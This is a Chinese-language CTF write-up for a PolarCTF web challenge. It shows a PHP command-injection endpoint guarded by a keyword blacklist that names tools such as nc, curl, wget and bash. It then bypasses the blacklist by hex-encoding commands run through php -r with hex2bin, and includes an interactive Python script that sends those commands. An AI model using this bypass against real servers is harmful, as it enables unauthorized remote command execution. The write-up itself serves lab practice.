Polar Web【中等】你知道sys还能这样玩吗
Contents
- Polar Web【中等】你知道sys还能这样玩吗
 - 思路&探索
 - 源码
 
- EXP
 - PHP测试生成十六进制化的命令
 - 上传测试
 
- Python 脚本
 
- 运行&总结
 
思路&探索
本题属实是有些…即使提示了
sys也难以迅速想到/sys.php这个路径,然后继续分析:
- 进入这个路由内,可看到下面所示的源码,可见该程序所做的过滤量较为大,因此常规方法难以处理,但可发现并未过滤引号,可以尝试用引号的绕过,不过本文采用的是指令十六进制编码绕过的方式
 - 另外考虑了使用
 php -r 'system();'方式来触发指令,其中传入指令的十六进制字符串,具体测试过程可见后文- 经过测试发现页面反馈了指令执行结果,找到
 flag.txt位于根目录,构造查看指令转进制传入,获取flag
- 本文通过脚本方式进行破解,详见后文
 
源码
<?php
show_source(__FILE__);
if(isset($_POST['cmd'])){
    echo "<pre>";
    $cmd = $_POST['cmd'];
    if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
        $output = system($cmd);
        echo $output;
    }
    echo "</pre>";
}
?>
 
EXP
PHP测试生成十六进制化的命令
<?php
    $cmd = 'ls';
    $a = bin2hex($cmd);
    echo $a."\n";
?>
 
ls的十六进制串

上传测试
- 上传 
ls指令的返回结果

 
Python 脚本
from requests import post, get
import binascii
def attack(url, pl):
    data = {
        'cmd': pl,
    }
    resp = post(url, data).text
    if resp:
        print(resp)
    else:
        print("Nothing...")
if __name__ == '__main__':
    u = 'http://~.www.polarctf.com:8090/sys.php'
    while True:
        cmd = input(">> ")
        if cmd == 'quit':
            break
        cmd = binascii.hexlify(cmd.encode()).decode()
        print(cmd)
        cmd = "php -r \'system(hex2bin(\"" + cmd + "\"));'"
        attack(u, cmd)
 
运行&总结

 
- 单语句PHP语句执行指令 ——
 php -r- 在python中将原字符串转为十六进制字符串的方法 ——
 binascii


















